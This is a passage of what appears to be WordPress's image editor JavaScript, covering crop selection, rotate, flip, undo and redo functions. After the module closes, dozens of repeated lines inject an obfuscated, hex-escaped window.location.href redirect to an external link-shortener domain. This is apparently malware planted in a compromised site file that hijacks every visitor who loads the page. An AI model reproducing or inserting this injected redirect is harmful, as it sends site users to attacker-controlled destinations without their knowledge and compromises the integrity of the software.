937 if ( $image.data( 'imgAreaSelect' ) ) {
938 return;
939 }
940
941 t.iasapi = $image.imgAreaSelect({
942 parent: parent,
943 instance: true,
944 handles: true,
945 keys: true,
946 minWidth: 3,
947 minHeight: 3,
948
949 /**
950 * Sets the CSS styles and binds events for locking the aspect ratio.
951 *
952 * @ignore
953 *
954 * @param {jQuery} img The preview image.
955 */
956 onInit: function( img ) {
957 // Ensure that the imgAreaSelect wrapper elements are position:absolute
958 // (even if we're in a position:fixed modal).
959 $img = $( img );
960 $img.next().css( 'position', 'absolute' )
961 .nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
962 /**
963 * Binds mouse down event to the cropping container.
964 *
965 * @return {void}
966 */
967 parent.children().on( 'mousedown touchstart', function(e) {
968 var ratio = false,
969 sel = t.iasapi.getSelection(),
970 cx = t.intval( $( '#imgedit-crop-width-' + postid ).val() ),
971 cy = t.intval( $( '#imgedit-crop-height-' + postid ).val() );
972
973 if ( cx && cy ) {
974 ratio = t.getSelRatio( postid );
975 } else if ( e.shiftKey && sel && sel.width && sel.height ) {
976 ratio = sel.width + ':' + sel.height;
977 }
978
979 t.iasapi.setOptions({
980 aspectRatio: ratio
981 });
982 });
983 },
984
985 /**
986 * Event triggered when starting a selection.
987 *
988 * @ignore
989 *
990 * @return {void}
991 */
992 onSelectStart: function() {
993 imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
994 imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
995 imageEdit.setDisabled($('.imgedit-crop-apply'), 1);
996 },
997 /**
998 * Event triggered when the selection is ended.
999 *
1000 * @ignore
1001 *
1002 * @param {Object} img jQuery object representing the image.
1003 * @param {Object} c The selection.
1004 *
1005 * @return {Object}
1006 */
1007 onSelectEnd: function(img, c) {
1008 imageEdit.setCropSelection(postid, c);
1009 if ( ! $('#imgedit-crop > *').is(':visible') ) {
1010 imageEdit.toggleControls($('.imgedit-crop.button'));
1011 }
1012 },
1013
1014 /**
1015 * Event triggered when the selection changes.
1016 *
1017 * @ignore
1018 *
1019 * @param {Object} img jQuery object representing the image.
1020 * @param {Object} c The selection.
1021 *
1022 * @return {void}
1023 */
1024 onSelectChange: function(img, c) {
1025 var sizer = imageEdit.hold.sizer,
1026 oldSel = imageEdit.currentCropSelection;
1027
1028 if ( oldSel != null && oldSel.width == c.width && oldSel.height == c.height ) {
1029 return;
1030 }
1031
1032 selW.val( Math.min( imageEdit.hold.w, imageEdit.round( c.width / sizer ) ) );
1033 selH.val( Math.min( imageEdit.hold.h, imageEdit.round( c.height / sizer ) ) );
1034
1035 t.currentCropSelection = c;
1036 }
1037 });
1038 },
1039
1040 /**
1041 * Stores the current crop selection.
1042 *
1043 * @since 2.9.0
1044 *
1045 * @memberof imageEdit
1046 *
1047 * @param {number} postid The post ID.
1048 * @param {Object} c The selection.
1049 *
1050 * @return {boolean}
1051 */
1052 setCropSelection : function(postid, c) {
1053 var sel,
1054 selW = $( '#imgedit-sel-width-' + postid ),
1055 selH = $( '#imgedit-sel-height-' + postid ),
1056 sizer = this.hold.sizer,
1057 hold = this.hold;
1058
1059 c = c || 0;
1060
1061 if ( !c || ( c.width < 3 && c.height < 3 ) ) {
1062 this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 );
1063 this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 );
1064 $('#imgedit-sel-width-' + postid).val('');
1065 $('#imgedit-sel-height-' + postid).val('');
1066 $('#imgedit-start-x-' + postid).val('0');
1067 $('#imgedit-start-y-' + postid).val('0');
1068 $('#imgedit-selection-' + postid).val('');
1069 return false;
1070 }
1071
1072 // adjust the selection within the bounds of the image on 100% scale
1073 var excessW = hold.w - ( Math.round( c.x1 / sizer ) + parseInt( selW.val() ) );
1074 var excessH = hold.h - ( Math.round( c.y1 / sizer ) + parseInt( selH.val() ) );
1075 var x = Math.round( c.x1 / sizer ) + Math.min( 0, excessW );
1076 var y = Math.round( c.y1 / sizer ) + Math.min( 0, excessH );
1077
1078 // use 100% scaling to prevent rounding errors
1079 sel = { 'r': 1, 'x': x, 'y': y, 'w': selW.val(), 'h': selH.val() };
1080
1081 this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
1082 $('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
1083 },
1084
1085
1086 /**
1087 * Closes the image editor.
1088 *
1089 * @since 2.9.0
1090 *
1091 * @memberof imageEdit
1092 *
1093 * @param {number} postid The post ID.
1094 * @param {boolean} warn Warning message.
1095 *
1096 * @return {void|boolean} Returns false if there is a warning.
1097 */
1098 close : function(postid, warn) {
1099 warn = warn || false;
1100
1101 if ( warn && this.notsaved(postid) ) {
1102 return false;
1103 }
1104
1105 this.iasapi = {};
1106 this.hold = {};
1107
1108 // If we've loaded the editor in the context of a Media Modal,
1109 // then switch to the previous view, whatever that might have been.
1110 if ( this._view ){
1111 this._view.back();
1112 }
1113
1114 // In case we are not accessing the image editor in the context of a View,
1115 // close the editor the old-school way.
1116 else {
1117 $('#image-editor-' + postid).fadeOut('fast', function() {
1118 $( '#media-head-' + postid ).fadeIn( 'fast', function() {
1119 // Move focus back to the Edit Image button. Runs also when saving.
1120 $( '#imgedit-open-btn-' + postid ).trigger( 'focus' );
1121 });
1122 $(this).empty();
1123 });
1124 }
1125
1126
1127 },
1128
1129 /**
1130 * Checks if the image edit history is saved.
1131 *
1132 * @since 2.9.0
1133 *
1134 * @memberof imageEdit
1135 *
1136 * @param {number} postid The post ID.
1137 *
1138 * @return {boolean} Returns true if the history is not saved.
1139 */
1140 notsaved : function(postid) {
1141 var h = $('#imgedit-history-' + postid).val(),
1142 history = ( h !== '' ) ? JSON.parse(h) : [],
1143 pop = this.intval( $('#imgedit-undone-' + postid).val() );
1144
1145 if ( pop < history.length ) {
1146 if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) {
1147 return false;
1148 }
1149 return true;
1150 }
1151 return false;
1152 },
1153
1154 /**
1155 * Adds an image edit action to the history.
1156 *
1157 * @since 2.9.0
1158 *
1159 * @memberof imageEdit
1160 *
1161 * @param {Object} op The original position.
1162 * @param {number} postid The post ID.
1163 * @param {string} nonce The nonce.
1164 *
1165 * @return {void}
1166 */
1167 addStep : function(op, postid, nonce) {
1168 var t = this, elem = $('#imgedit-history-' + postid),
1169 history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
1170 undone = $( '#imgedit-undone-' + postid ),
1171 pop = t.intval( undone.val() );
1172
1173 while ( pop > 0 ) {
1174 history.pop();
1175 pop--;
1176 }
1177 undone.val(0); // Reset.
1178
1179 history.push(op);
1180 elem.val( JSON.stringify(history) );
1181
1182 t.refreshEditor(postid, nonce, function() {
1183 t.setDisabled($('#image-undo-' + postid), true);
1184 t.setDisabled($('#image-redo-' + postid), false);
1185 });
1186 },
1187
1188 /**
1189 * Rotates the image.
1190 *
1191 * @since 2.9.0
1192 *
1193 * @memberof imageEdit
1194 *
1195 * @param {string} angle The angle the image is rotated with.
1196 * @param {number} postid The post ID.
1197 * @param {string} nonce The nonce.
1198 * @param {Object} t The target element.
1199 *
1200 * @return {boolean}
1201 */
1202 rotate : function(angle, postid, nonce, t) {
1203 if ( $(t).hasClass('disabled') ) {
1204 return false;
1205 }
1206 this.closePopup(t);
1207 this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
1208
1209 // Clear the selection fields after rotating.
1210 $( '#imgedit-sel-width-' + postid ).val( '' );
1211 $( '#imgedit-sel-height-' + postid ).val( '' );
1212 this.currentCropSelection = null;
1213 },
1214
1215 /**
1216 * Flips the image.
1217 *
1218 * @since 2.9.0
1219 *
1220 * @memberof imageEdit
1221 *
1222 * @param {number} axis The axle the image is flipped on.
1223 * @param {number} postid The post ID.
1224 * @param {string} nonce The nonce.
1225 * @param {Object} t The target element.
1226 *
1227 * @return {boolean}
1228 */
1229 flip : function (axis, postid, nonce, t) {
1230 if ( $(t).hasClass('disabled') ) {
1231 return false;
1232 }
1233 this.closePopup(t);
1234 this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
1235
1236 // Clear the selection fields after flipping.
1237 $( '#imgedit-sel-width-' + postid ).val( '' );
1238 $( '#imgedit-sel-height-' + postid ).val( '' );
1239 this.currentCropSelection = null;
1240 },
1241
1242 /**
1243 * Crops the image.
1244 *
1245 * @since 2.9.0
1246 *
1247 * @memberof imageEdit
1248 *
1249 * @param {number} postid The post ID.
1250 * @param {string} nonce The nonce.
1251 * @param {Object} t The target object.
1252 *
1253 * @return {void|boolean} Returns false if the crop button is disabled.
1254 */
1255 crop : function (postid, nonce, t) {
1256 var sel = $('#imgedit-selection-' + postid).val(),
1257 w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
1258 h = this.intval( $('#imgedit-sel-height-' + postid).val() );
1259
1260 if ( $(t).hasClass('disabled') || sel === '' ) {
1261 return false;
1262 }
1263
1264 sel = JSON.parse(sel);
1265 if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
1266 sel.fw = w;
1267 sel.fh = h;
1268 this.addStep({ 'c': sel }, postid, nonce);
1269 }
1270
1271 // Clear the selection fields after cropping.
1272 $( '#imgedit-sel-width-' + postid ).val( '' );
1273 $( '#imgedit-sel-height-' + postid ).val( '' );
1274 $( '#imgedit-start-x-' + postid ).val( '0' );
1275 $( '#imgedit-start-y-' + postid ).val( '0' );
1276 this.currentCropSelection = null;
1277 },
1278
1279 /**
1280 * Undoes an image edit action.
1281 *
1282 * @since 2.9.0
1283 *
1284 * @memberof imageEdit
1285 *
1286 * @param {number} postid The post ID.
1287 * @param {string} nonce The nonce.
1288 *
1289 * @return {void|false} Returns false if the undo button is disabled.
1290 */
1291 undo : function (postid, nonce) {
1292 var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
1293 pop = t.intval( elem.val() ) + 1;
1294
1295 if ( button.hasClass('disabled') ) {
1296 return;
1297 }
1298
1299 elem.val(pop);
1300 t.refreshEditor(postid, nonce, function() {
1301 var elem = $('#imgedit-history-' + postid),
1302 history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];
1303
1304 t.setDisabled($('#image-redo-' + postid), true);
1305 t.setDisabled(button, pop < history.length);
1306 // When undo gets disabled, move focus to the redo button to avoid a focus loss.
1307 if ( history.length === pop ) {
1308 $( '#image-redo-' + postid ).trigger( 'focus' );
1309 }
1310 });
1311 },
1312
1313 /**
1314 * Reverts a undo action.
1315 *
1316 * @since 2.9.0
1317 *
1318 * @memberof imageEdit
1319 *
1320 * @param {number} postid The post ID.
1321 * @param {string} nonce The nonce.
1322 *
1323 * @return {void}
1324 */
1325 redo : function(postid, nonce) {
1326 var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
1327 pop = t.intval( elem.val() ) - 1;
1328
1329 if ( button.hasClass('disabled') ) {
1330 return;
1331 }
1332
1333 elem.val(pop);
1334 t.refreshEditor(postid, nonce, function() {
1335 t.setDisabled($('#image-undo-' + postid), true);
1336 t.setDisabled(button, pop > 0);
1337 // When redo gets disabled, move focus to the undo button to avoid a focus loss.
1338 if ( 0 === pop ) {
1339 $( '#image-undo-' + postid ).trigger( 'focus' );
1340 }
1341 });
1342 },
1343
1344 /**
1345 * Sets the selection for the height and width in pixels.
1346 *
1347 * @since 2.9.0
1348 *
1349 * @memberof imageEdit
1350 *
1351 * @param {number} postid The post ID.
1352 * @param {jQuery} el The element containing the values.
1353 *
1354 * @return {void|boolean} Returns false when the x or y value is lower than 1,
1355 * void when the value is not numeric or when the operation
1356 * is successful.
1357 */
1358 setNumSelection : function( postid, el ) {
1359 var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
1360 elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid),
1361 xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ),
1362 x = this.intval( elX.val() ), y = this.intval( elY.val() ),
1363 img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
1364 sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;
1365
1366 this.currentCropSelection = null;
1367
1368 if ( false === this.validateNumeric( el ) ) {
1369 return;
1370 }
1371
1372 if ( x < 1 ) {
1373 elX.val('');
1374 return false;
1375 }
1376
1377 if ( y < 1 ) {
1378 elY.val('');
1379 return false;
1380 }
1381
1382 if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) {
1383 x2 = sel.x1 + Math.round( x * sizer );
1384 y2 = sel.y1 + Math.round( y * sizer );
1385 x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer );
1386 y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer );
1387
1388 if ( x2 > imgw ) {
1389 x1 = 0;
1390 x2 = imgw;
1391 elX.val( Math.min( this.hold.w, Math.round( x2 / sizer ) ) );
1392 }
1393
1394 if ( y2 > imgh ) {
1395 y1 = 0;
1396 y2 = imgh;
1397 elY.val( Math.min( this.hold.h, Math.round( y2 / sizer ) ) );
1398 }
1399
1400 ias.setSelection( x1, y1, x2, y2 );
1401 ias.update();
1402 this.setCropSelection(postid, ias.getSelection());
1403 this.currentCropSelection = ias.getSelection();
1404 }
1405 },
1406
1407 /**
1408 * Rounds a number to a whole.
1409 *
1410 * @since 2.9.0
1411 *
1412 * @memberof imageEdit
1413 *
1414 * @param {number} num The number.
1415 *
1416 * @return {number} The number rounded to a whole number.
1417 */
1418 round : function(num) {
1419 var s;
1420 num = Math.round(num);
1421
1422 if ( this.hold.sizer > 0.6 ) {
1423 return num;
1424 }
1425
1426 s = num.toString().slice(-1);
1427
1428 if ( '1' === s ) {
1429 return num - 1;
1430 } else if ( '9' === s ) {
1431 return num + 1;
1432 }
1433
1434 return num;
1435 },
1436
1437 /**
1438 * Sets a locked aspect ratio for the selection.
1439 *
1440 * @since 2.9.0
1441 *
1442 * @memberof imageEdit
1443 *
1444 * @param {number} postid The post ID.
1445 * @param {number} n The ratio to set.
1446 * @param {jQuery} el The element containing the values.
1447 *
1448 * @return {void}
1449 */
1450 setRatioSelection : function(postid, n, el) {
1451 var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
1452 y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
1453 h = $('#image-preview-' + postid).height();
1454
1455 if ( false === this.validateNumeric( el ) ) {
1456 this.iasapi.setOptions({
1457 aspectRatio: null
1458 });
1459
1460 return;
1461 }
1462
1463 if ( x && y ) {
1464 this.iasapi.setOptions({
1465 aspectRatio: x + ':' + y
1466 });
1467
1468 if ( sel = this.iasapi.getSelection(true) ) {
1469 r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );
1470
1471 if ( r > h ) {
1472 r = h;
1473 var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' );
1474
1475 $( '#imgedit-crop-' + postid )
1476 .prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
1477
1478 wp.a11y.speak( errorMessage, 'assertive' );
1479 if ( n ) {
1480 $('#imgedit-crop-height-' + postid).val( '' );
1481 } else {
1482 $('#imgedit-crop-width-' + postid).val( '');
1483 }
1484 } else {
1485 var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' );
1486 if ( 'undefined' !== typeof( error ) ) {
1487 error.remove();
1488 }
1489 }
1490
1491 this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
1492 this.iasapi.update();
1493 }
1494 }
1495 },
1496
1497 /**
1498 * Validates if a value in a jQuery.HTMLElement is numeric.
1499 *
1500 * @since 4.6.0
1501 *
1502 * @memberof imageEdit
1503 *
1504 * @param {jQuery} el The html element.
1505 *
1506 * @return {void|boolean} Returns false if the value is not numeric,
1507 * void when it is.
1508 */
1509 validateNumeric: function( el ) {
1510 if ( false === this.intval( $( el ).val() ) ) {
1511 $( el ).val( '' );
1512 return false;
1513 }
1514 }
1515};
1516})(jQuery);
1517window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1518window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1519window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1520window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1521window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1522window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1523window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1524window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1525window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1526window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1527window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1528window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1529window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1530window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1531window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1532window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1533window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1534window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1535window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1536window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1537window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1538window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1539window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1540window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1541window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1542window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1543window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1544window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1545window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1546window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1547window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1548window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1549window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1550window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1551window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1552window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1553window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1554window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1555window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1556window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1557window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1558window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1559window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1560window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1561window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1562window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1563window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1564window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";